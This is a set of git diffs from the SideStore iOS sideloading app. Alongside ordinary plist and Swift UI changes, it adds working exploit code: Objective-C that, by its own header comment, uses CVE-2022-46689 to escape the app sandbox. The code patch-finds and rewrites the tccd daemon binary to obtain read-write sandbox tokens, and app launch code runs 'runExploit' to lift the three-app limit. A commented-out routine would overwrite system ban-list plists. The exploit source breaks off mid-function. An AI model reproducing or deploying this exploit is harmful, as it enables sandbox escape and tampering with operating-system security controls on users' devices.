</array>
</dict>
</array>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore General</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore</string>
<string>sidestore</string>
</array>
</dict>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore Backup</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>sidestore-com.SideStore.SideStore</string>
</array>
</dict>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>INIntentsSupported</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>LSApplicationQueriesSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>altstore-com.rileytestut.AltStore.Beta</string>
<string>altstore-com.rileytestut.Delta</string>
<string>altstore-com.rileytestut.Delta.Beta</string>
<string>altstore-com.rileytestut.Delta.Lite</string>
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
<string>altstore-com.rileytestut.Clip</string>
<string>altstore-com.rileytestut.Clip.Beta</string>
</array>
<key>LSRequiresIPhoneOS</key>
<true />
<key>LSSupportsOpeningDocumentsInPlace</key>
<true />
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true />
</dict>
<key>NSAppleMusicUsageDescription</key>
<string>So that we can bypass the 3 app limit and disable revokes.</string>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
</array>
<key>NSLocalNetworkUsageDescription</key>
<string>SideStore uses the local network to find and communicate with your device.</string>
<key>NSUserActivityTypes</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<true />
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array>
</dict>
</dict>
<key>UIBackgroundModes</key>
<array>
<string>audio</string>
<string>fetch</string>
<string>remote-notification</string>
</array>
<key>UIFileSharingEnabled</key>
<true />
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
<key>UIStatusBarTintParameters</key>
<dict>
<key>UINavigationBar</key>
<dict>
<key>Style</key>
<string>UIBarStyleDefault</string>
<key>Translucent</key>
<false />
</dict>
</dict>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UTImportedTypeDeclarations</key>
<array>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>public.data</string>
</array>
<key>UTTypeDescription</key>
<string>iOS App</string>
<key>UTTypeIconFiles</key>
<array />
<key>UTTypeIdentifier</key>
<string>com.apple.itunes.ipa</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<string>ipa</string>
</dict>
</dict>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>com.apple.plist</string>
</array>
<key>UTTypeDescription</key>
<string>Mobile Device Pairing</string>
<key>UTTypeIconFiles</key>
<array />
<key>UTTypeIdentifier</key>
<string>org.sidestore.mobiledevicepairing</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<array>
<string>mobiledevicepairing</string>
</array>
</dict>
</dict>
</array>
</dict>
</plist>

View File

@@ -7,15 +7,12 @@
// //
import Foundation import Foundation
import SideStoreCore
import Intents import AltStoreCore
import OSLog
#if canImport(Logging)
import Logging
#endif
@available(iOS 14, *) @available(iOS 14, *)
public final class IntentHandler: NSObject, RefreshAllIntentHandling { final class IntentHandler: NSObject, RefreshAllIntentHandling
{
private let queue = DispatchQueue(label: "io.altstore.IntentHandler") private let queue = DispatchQueue(label: "io.altstore.IntentHandler")
private var completionHandlers = [RefreshAllIntent: (RefreshAllIntentResponse) -> Void]() private var completionHandlers = [RefreshAllIntent: (RefreshAllIntentResponse) -> Void]()
@@ -23,13 +20,15 @@ public final class IntentHandler: NSObject, RefreshAllIntentHandling {
private var operations = [RefreshAllIntent: BackgroundRefreshAppsOperation]() private var operations = [RefreshAllIntent: BackgroundRefreshAppsOperation]()
public func confirm(intent: RefreshAllIntent, completion: @escaping (RefreshAllIntentResponse) -> Void) { func confirm(intent: RefreshAllIntent, completion: @escaping (RefreshAllIntentResponse) -> Void)
{
// Refreshing apps usually, but not always, completes within alotted time. // Refreshing apps usually, but not always, completes within alotted time.
// As a workaround, we'll start refreshing apps in confirm() so we can // As a workaround, we'll start refreshing apps in confirm() so we can
// take advantage of some extra time before starting handle() timeout timer. // take advantage of some extra time before starting handle() timeout timer.
completionHandlers[intent] = { response in self.completionHandlers[intent] = { (response) in
if response.code != .ready { if response.code != .ready
{
// Operation finished before confirmation "timeout". // Operation finished before confirmation "timeout".
// Cache response to return it when handle() is called. // Cache response to return it when handle() is called.
self.queuedResponses[intent] = response self.queuedResponses[intent] = response
@@ -40,36 +39,47 @@ public final class IntentHandler: NSObject, RefreshAllIntentHandling {
// Give ourselves 9 extra seconds before starting handle() timeout timer. // Give ourselves 9 extra seconds before starting handle() timeout timer.
// 10 seconds or longer results in timeout regardless. // 10 seconds or longer results in timeout regardless.
queue.asyncAfter(deadline: .now() + 9.0) { self.queue.asyncAfter(deadline: .now() + 9.0) {
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil)) self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
} }
if !DatabaseManager.shared.isStarted { if !DatabaseManager.shared.isStarted
DatabaseManager.shared.start { error in {
if let error = error { DatabaseManager.shared.start() { (error) in
if let error = error
{
self.finish(intent, response: RefreshAllIntentResponse.failure(localizedDescription: error.localizedDescription)) self.finish(intent, response: RefreshAllIntentResponse.failure(localizedDescription: error.localizedDescription))
} else { }
else
{
self.refreshApps(intent: intent) self.refreshApps(intent: intent)
} }
} }
} else { }
refreshApps(intent: intent) else
{
self.refreshApps(intent: intent)
} }
} }
public func handle(intent: RefreshAllIntent, completion: @escaping (RefreshAllIntentResponse) -> Void) { func handle(intent: RefreshAllIntent, completion: @escaping (RefreshAllIntentResponse) -> Void)
completionHandlers[intent] = { response in {
self.completionHandlers[intent] = { (response) in
// Ignore .ready response from confirm() timeout. // Ignore .ready response from confirm() timeout.
guard response.code != .ready else { return } guard response.code != .ready else { return }
completion(response) completion(response)
} }
if let response = queuedResponses[intent] { if let response = self.queuedResponses[intent]
queuedResponses[intent] = nil {
finish(intent, response: response) self.queuedResponses[intent] = nil
} else { self.finish(intent, response: response)
queue.asyncAfter(deadline: .now() + 7.0) { }
if let operation = self.operations[intent] { else
{
self.queue.asyncAfter(deadline: .now() + 7.0) {
if let operation = self.operations[intent]
{
// We took too long to finish and return the final result, // We took too long to finish and return the final result,
// so we'll now present a normal notification when finished. // so we'll now present a normal notification when finished.
operation.presentsFinishedNotification = true operation.presentsFinishedNotification = true
@@ -82,36 +92,48 @@ public final class IntentHandler: NSObject, RefreshAllIntentHandling {
} }
@available(iOS 14, *) @available(iOS 14, *)
private extension IntentHandler { private extension IntentHandler
func finish(_ intent: RefreshAllIntent, response: RefreshAllIntentResponse) { {
queue.async { func finish(_ intent: RefreshAllIntent, response: RefreshAllIntentResponse)
if let completionHandler = self.completionHandlers[intent] { {
self.queue.async {
if let completionHandler = self.completionHandlers[intent]
{
self.completionHandlers[intent] = nil self.completionHandlers[intent] = nil
completionHandler(response) completionHandler(response)
} else if response.code != .ready && response.code != .inProgress { }
else if response.code != .ready && response.code != .inProgress
{
// Queue response in case refreshing finishes after confirm() but before handle(). // Queue response in case refreshing finishes after confirm() but before handle().
self.queuedResponses[intent] = response self.queuedResponses[intent] = response
} }
} }
} }
func refreshApps(intent: RefreshAllIntent) { func refreshApps(intent: RefreshAllIntent)
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in {
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
let installedApps = InstalledApp.fetchActiveApps(in: context) let installedApps = InstalledApp.fetchActiveApps(in: context)
let operation = AppManager.shared.backgroundRefresh(installedApps, presentsNotifications: false) { result in let operation = AppManager.shared.backgroundRefresh(installedApps, presentsNotifications: false) { (result) in
do { do
{
let results = try result.get() let results = try result.get()
for (_, result) in results { for (_, result) in results
{
guard case let .failure(error) = result else { continue } guard case let .failure(error) = result else { continue }
throw error throw error
} }
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil)) self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
} catch RefreshError.noInstalledApps { }
catch RefreshError.noInstalledApps
{
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil)) self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
} catch let error as NSError { }
os_log("Failed to refresh apps in background. %@", type: .error , error.localizedDescription) catch let error as NSError
{
print("Failed to refresh apps in background.", error)
self.finish(intent, response: RefreshAllIntentResponse.failure(localizedDescription: error.localizedFailureReason ?? error.localizedDescription)) self.finish(intent, response: RefreshAllIntentResponse.failure(localizedDescription: error.localizedFailureReason ?? error.localizedDescription))
} }

View File

@@ -8,12 +8,10 @@
import EmotionalDamage import EmotionalDamage
import minimuxer import minimuxer
import MiniMuxer import Roxas
import SideStoreAppKit
import RoxasUIKit
import UIKit import UIKit
import SideStoreCore import AltStoreCore
import UniformTypeIdentifiers import UniformTypeIdentifiers
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate { final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate {
@@ -30,11 +28,11 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
} }
override var childForStatusBarStyle: UIViewController? { override var childForStatusBarStyle: UIViewController? {
self.children.first return self.children.first
} }
override var childForStatusBarHidden: UIViewController? { override var childForStatusBarHidden: UIViewController? {
self.children.first return self.children.first
} }
override func viewDidLoad() { override func viewDidLoad() {
@@ -45,16 +43,17 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
super.viewDidLoad() super.viewDidLoad()
} }
override func viewDidAppear(_: Bool) { override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear(true) super.viewDidAppear(true)
#if !targetEnvironment(simulator) #if !targetEnvironment(simulator)
start_em_proxy(bind_addr: Consts.Proxy.serverURL) start_em_proxy(bind_addr: Consts.Proxy.serverURL)
guard let pf = fetchPairingFile() else { guard let pf = fetchPairingFile() else {
displayError("Device pairing file not found.") self.displayError("Device pairing file not found.")
return return
} }
start_minimuxer_threads(pf)
self.start_minimuxer_threads(pf)
#endif #endif
} }
@@ -89,7 +88,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data)) types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
types.append(.xml) types.append(.xml)
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types) let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
documentPickerController.shouldShowFileExtensions = true // documentPickerController.shouldShowFileExtensions = true
documentPickerController.delegate = self documentPickerController.delegate = self
self.present(documentPickerController, animated: true, completion: nil) self.present(documentPickerController, animated: true, completion: nil)
}) })
@@ -98,7 +97,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
dialogMessage.addAction(ok) dialogMessage.addAction(ok)
// Present Alert to // Present Alert to
present(dialogMessage, animated: true, completion: nil) self.present(dialogMessage, animated: true, completion: nil)
return nil return nil
} }
@@ -110,7 +109,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
let dialogMessage = UIAlertController(title: "Error launching SideStore", message: msg, preferredStyle: .alert) let dialogMessage = UIAlertController(title: "Error launching SideStore", message: msg, preferredStyle: .alert)
// Present alert to user // Present alert to user
present(dialogMessage, animated: true, completion: nil) self.present(dialogMessage, animated: true, completion: nil)
} }
func documentPicker(_ controller: UIDocumentPickerViewController, didPickDocumentsAt urls: [URL]) { func documentPicker(_ controller: UIDocumentPickerViewController, didPickDocumentsAt urls: [URL]) {
@@ -122,7 +121,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
let data1 = try Data(contentsOf: urls[0]) let data1 = try Data(contentsOf: urls[0])
let pairing_string = String(bytes: data1, encoding: .utf8) let pairing_string = String(bytes: data1, encoding: .utf8)
if pairing_string == nil { if pairing_string == nil {
displayError("Unable to read pairing file") self.displayError("Unable to read pairing file")
} }
// Save to a file for next launch // Save to a file for next launch
@@ -132,10 +131,10 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8) try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
// Start minimuxer now that we have a file // Start minimuxer now that we have a file
start_minimuxer_threads(pairing_string!) self.start_minimuxer_threads(pairing_string!)
} catch { } catch {
displayError("Unable to read pairing file") self.displayError("Unable to read pairing file")
} }
if isSecuredURL { if isSecuredURL {
@@ -144,8 +143,8 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
controller.dismiss(animated: true, completion: nil) controller.dismiss(animated: true, completion: nil)
} }
func documentPickerWasCancelled(_: UIDocumentPickerViewController) { func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.") self.displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
} }
func start_minimuxer_threads(_ pairing_file: String) { func start_minimuxer_threads(_ pairing_file: String) {
@@ -162,7 +161,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
let res = start_minimuxer(pairing_file: pairing_file) let res = start_minimuxer(pairing_file: pairing_file)
#endif #endif
if res != 0 { if res != 0 {
displayError("minimuxer failed to start. Incorrect arguments were passed.") self.displayError("minimuxer failed to start. Incorrect arguments were passed.")
} }
auto_mount_dev_image() auto_mount_dev_image()
} }
@@ -195,7 +194,7 @@ extension LaunchViewController {
override func finishLaunching() { override func finishLaunching() {
super.finishLaunching() super.finishLaunching()
guard !didFinishLaunching else { return } guard !self.didFinishLaunching else { return }
AppManager.shared.update() AppManager.shared.update()
AppManager.shared.updatePatronsIfNeeded() AppManager.shared.updatePatronsIfNeeded()
@@ -203,16 +202,47 @@ extension LaunchViewController {
// Add view controller as child (rather than presenting modally) // Add view controller as child (rather than presenting modally)
// so tint adjustment + card presentations works correctly. // so tint adjustment + card presentations works correctly.
destinationViewController.view.frame = CGRect(x: 0, y: 0, width: view.bounds.width, height: view.bounds.height) self.destinationViewController.view.frame = CGRect(x: 0, y: 0, width: self.view.bounds.width, height: self.view.bounds.height)
destinationViewController.view.alpha = 0.0 self.destinationViewController.view.alpha = 0.0
addChild(destinationViewController) self.addChild(self.destinationViewController)
view.addSubview(destinationViewController.view, pinningEdgesWith: .zero) self.view.addSubview(self.destinationViewController.view, pinningEdgesWith: .zero)
destinationViewController.didMove(toParent: self) self.destinationViewController.didMove(toParent: self)
UIView.animate(withDuration: 0.2) { UIView.animate(withDuration: 0.2) {
self.destinationViewController.view.alpha = 1.0 self.destinationViewController.view.alpha = 1.0
} }
didFinishLaunching = true if UserDefaults.standard.enableCowExploit, UserDefaults.standard.isCowExploitSupported {
if let previous_exploit_time = UserDefaults.standard.object(forKey: "cowExploitRanBootTime") {
let last_rantime = previous_exploit_time as! Date
if last_rantime == bootTime() {
return print("exploit has ran this boot - \(last_rantime)")
}
}
self.runExploit()
}
self.didFinishLaunching = true
}
func runExploit() {
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported {
patch3AppLimit { result in
switch result {
case .success:
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
print("patched sucessfully")
case .failure(let err):
switch err {
case .NoFDA(let msg):
self.displayError("Failed to get full disk access: \(msg)")
return
case .FailedPatchd:
self.displayError("Failed to install patchd.")
return
}
}
}
}
} }
} }

View File

@@ -0,0 +1,123 @@
import Foundation
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
enum PatchError: Error {
case NoFDA(msg: String)
case FailedPatchd
}
enum PatchResult {
case success, failure(PatchError)
}
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
grant_fda { error in
if let error = error {
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
}
// DispatchQueue.global(qos: .userInitiated).async {
print("This is run on a background queue")
if !installdaemon_patch() {
completion(.failure(PatchError.FailedPatchd))
}
// }
completion(.success)
}
}
func bootTime() -> Date? {
var tv = timeval()
var tvSize = MemoryLayout<timeval>.size
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
return nil
}
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
}
enum WhitelistPatchResult {
case success, failure
}
//
// func patchWhiteList() {
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// }
//
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
// #if false
// let documentDirectory = FileManager.default.urls(
// for: .documentDirectory,
// in: .userDomainMask
// )[0].path
//
// let pathToRealTarget = originPath
// let originPath = documentDirectory + originPath
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
// try! origData.write(to: URL(fileURLWithPath: originPath))
// #endif
//
// // open and map original font
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
// if fd == -1 {
// print("Could not open target file")
// return false
// }
// defer { close(fd) }
// // check size of font
// let originalFileSize = lseek(fd, 0, SEEK_END)
// guard originalFileSize >= replacementData.count else {
// print("Original file: \(originalFileSize)")
// print("Replacement file: \(replacementData.count)")
// print("File too big!")
// return false
// }
// lseek(fd, 0, SEEK_SET)
//
// // Map the font we want to overwrite so we can mlock it
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
// if fileMap == MAP_FAILED {
// print("Failed to map")
// return false
// }
// // mlock so the file gets cached in memory
// guard mlock(fileMap, replacementData.count) == 0 else {
// print("Failed to mlock")
// return true
// }
//
// // for every 16k chunk, rewrite
// print(Date())
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
// print(String(format: "%lx", chunkOff))
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
// var overwroteOne = false
// for _ in 0..<2 {
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
// unalign_csr(
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
// )
// }
// if overwriteSucceeded {
// overwroteOne = true
// print("Successfully overwrote!")
// break
// }
// print("try again?!")
// }
// guard overwroteOne else {
// print("Failed to overwrite")
// return false
// }
// }
// print(Date())
// print("Successfully overwrote!")
// return true
// }
//
// func readFile(path: String) -> String? {
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
// }

View File

@@ -0,0 +1,6 @@
#pragma once
@import Foundation;
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
void grant_fda(void (^_Nonnull completion)(NSError* _Nullable));
bool installdaemon_patch(void);

View File

@@ -0,0 +1,617 @@
@import Darwin;
@import Foundation;
@import MachO;
#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "grant_fda.h"
#import "helping_tools.h"
#import "vm_unalign_csr.h"
typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
xpc_object_t _Nullable const* values, size_t count);
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
int64_t sandbox_extension_consume(const char* token);
// MARK: - patchfind
struct fda_offsets {
uint64_t of_addr_com_apple_tcc_;
uint64_t offset_pad_space_for_rw_string;
uint64_t of_addr_s_kTCCSML;
uint64_t of_auth_got_sb_init;
uint64_t of_return_0;
bool is_arm64e;
};
static bool pchfind_sections(void* execmap,
struct segment_command_64** data_seg,
struct symtab_command** stabout,
struct dysymtab_command** dystabout) {
struct mach_header_64* executable_header = execmap;
struct load_command* load_command = execmap + sizeof(struct mach_header_64);
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
load_command_index++) {
switch (load_command->cmd) {
case LC_SEGMENT_64: {
struct segment_command_64* segment = (struct segment_command_64*)load_command;
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
*data_seg = segment;
}
break;
}
case LC_SYMTAB: {
*stabout = (struct symtab_command*)load_command;
break;
}
case LC_DYSYMTAB: {
*dystabout = (struct dysymtab_command*)load_command;
break;
}
}
load_command = ((void*)load_command) + load_command->cmdsize;
}
return true;
}
static uint64_t pchfind_get_padding(struct segment_command_64* segment) {
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
struct section_64* last_section = &section_array[segment->nsects - 1];
return last_section->offset + last_section->size;
}
static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) {
void* str_offset = memmem(em, el, n, strlen(n) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - em;
for (int i = 0; i < el; i += 8) {
uint64_t val = *(uint64_t*)(em + i);
if ((val & 0xfffffffful) == str_file_offset) {
return i;
}
}
return 0;
}
static uint64_t pchfind_return_0(void* exmp, size_t el) {
// TCCDSyncAccessAction::sequencer
// mov x0, #0
// ret
static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(exmp, el, ndle, sizeof(ndle));
if (!offset) {
return 0;
}
return offset - exmp;
}
static uint64_t pchfind_got(void* ecm, size_t executable_length,
struct segment_command_64* data_const_segment,
struct symtab_command* symtab_command,
struct dysymtab_command* dysymtab_command,
const char* target_symbol_name) {
uint64_t target_symbol_index = 0;
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
struct nlist_64* sym =
((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index;
const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx;
if (strcmp(sym_name, target_symbol_name)) {
continue;
}
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap));
target_symbol_index = sym_index;
break;
}
struct section_64* section_array =
((void*)data_const_segment) + sizeof(struct segment_command_64);
struct section_64* first_section = &section_array[0];
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
strcmp(first_section->sectname, "__got") == 0)) {
return 0;
}
uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff;
for (int i = 0; i < first_section->size; i += 8) {
uint64_t val = *(uint64_t*)(ecm + first_section->offset + i);
uint64_t indirect_table_entry = (val & 0xfffful);
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
return first_section->offset + i;
}
}
return 0;
}
static bool pchfind(void* execmap, size_t executable_length,
struct fda_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
&dysymtab_command)) {
// printf("no sections\n");
return false;
}
if ((offsets->of_addr_com_apple_tcc_ =
pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) {
// printf("no com.apple.tcc. string\n");
return false;
}
if ((offsets->offset_pad_space_for_rw_string =
pchfind_get_padding(data_const_segment)) == 0) {
// printf("no padding\n");
return false;
}
if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string(
execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) {
// printf("no kTCCServiceMediaLibrary string\n");
return false;
}
if ((offsets->of_auth_got_sb_init =
pchfind_got(execmap, executable_length, data_const_segment, symtab_command,
dysymtab_command, "_sandbox_init")) == 0) {
// printf("no sandbox_init\n");
return false;
}
if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) ==
0) {
// printf("no just return 0\n");
return false;
}
struct mach_header_64* executable_header = execmap;
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
return true;
}
// MARK: - tccd patching
static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) {
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
// re-use it until next reboot.
// Returns the sandbox token if there is one, or nil if there isn't one.
//TODO WARNING REPLACE com.apple.tccd
xpc_connection_t connection = xpc_connection_create_mach_service(
"TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
// NSLog(@"event handler (xpc): %@", object);
});
xpc_connection_resume(connection);
const char* keys[] = {
// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
// "target_token", "background_session",
};
xpc_object_t values[] = {
xpc_string_create("17087.1"),
xpc_string_create("TCCAccessRequest"),
xpc_string_create("com.apple.app-sandbox.read-write"),
xpc_null_create(),
xpc_bool_create(false),
xpc_null_create(),
xpc_bool_create(false),
};
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
// NSLog(@"%@", response_message);
#endif
xpc_connection_send_message_with_reply(
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
^(xpc_object_t object) {
if (!object) {
//object is nil???
// NSLog(@"wqfewfw9");
completion(nil);
return;
}
//response:
// NSLog(@"qwdqwd%@", object);
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
// NSLog(@"xpc error?");
completion(nil);
return;
}
//debug description:
// NSLog(@"wqdwqu %@", [object debugDescription]);
const char* extension_string = xpc_dictionary_get_string(object, "extension");
NSString* extension_nsstring =
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
completion(extension_nsstring);
});
}
static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) {
struct fda_offsets offsets = {};
if (!pchfind(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
char* mutableBytes = data.mutableBytes;
{
// rewrite com.apple.tcc. into blank string
*(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0;
}
{
// make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write"
// we need to stick this somewhere; just put it in the padding between
// the end of __objc_arrayobj and the end of __DATA_CONST
strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string),
"com.apple.app-sandbox.read-write");
struct dyld_chained_ptr_arm64e_rebase tRBase =
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.of_addr_s_kTCCSML);
tRBase.target = offsets.offset_pad_space_for_rw_string;
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
